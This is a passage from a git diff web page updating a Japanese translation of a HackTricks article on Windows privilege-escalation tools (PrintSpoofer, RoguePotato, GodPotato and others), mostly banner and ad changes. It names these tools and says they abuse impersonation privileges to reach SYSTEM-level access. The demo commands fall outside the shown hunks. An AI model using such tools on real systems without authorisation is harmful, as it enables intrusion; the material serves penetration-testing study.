* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,39 +1,25 @@
|
|||
# RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **stealer malwares** によって **侵害** されているかどうかを確認するための **無料** 機能を提供します。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
{% hint style="warning" %}
|
||||
**JuicyPotatoは** Windows Server 2019 および Windows 10 build 1809 以降では動作しません。しかし、 [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**、** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**、** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**、** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** は、**同じ特権を利用して `NT AUTHORITY\SYSTEM`** レベルのアクセスを取得するために使用できます。この [ブログ記事](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) は、JuicyPotato がもはや動作しない Windows 10 および Server 2019 ホストでの偽装特権を悪用するために使用できる `PrintSpoofer` ツールについて詳しく説明しています。
|
||||
**JuicyPotatoは** Windows Server 2019およびWindows 10ビルド1809以降では動作しません。しかし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**、** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**、** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**、** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)**は、**同じ特権を利用して`NT AUTHORITY\SYSTEM`**レベルのアクセスを取得するために使用できます。この[ブログ投稿](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)では、JuicyPotatoがもはや動作しないWindows 10およびServer 2019ホストでの偽装特権を悪用するために使用できる`PrintSpoofer`ツールについて詳しく説明しています。
|
||||
{% endhint %}
|
||||
|
||||
## Quick Demo
|
||||
## クイックデモ
|
||||
|
||||
### PrintSpoofer
|
||||
```bash
|
||||
|
@ -117,29 +103,18 @@ nt authority\system
|
|||
* [https://github.com/zcgonvh/EfsPotato](https://github.com/zcgonvh/EfsPotato)
|
||||
* [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **スティーラーマルウェア** によって **侵害された** かどうかを確認するための **無料** 機能を提供しています。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS ハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP ハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**テレグラムグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を送信してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue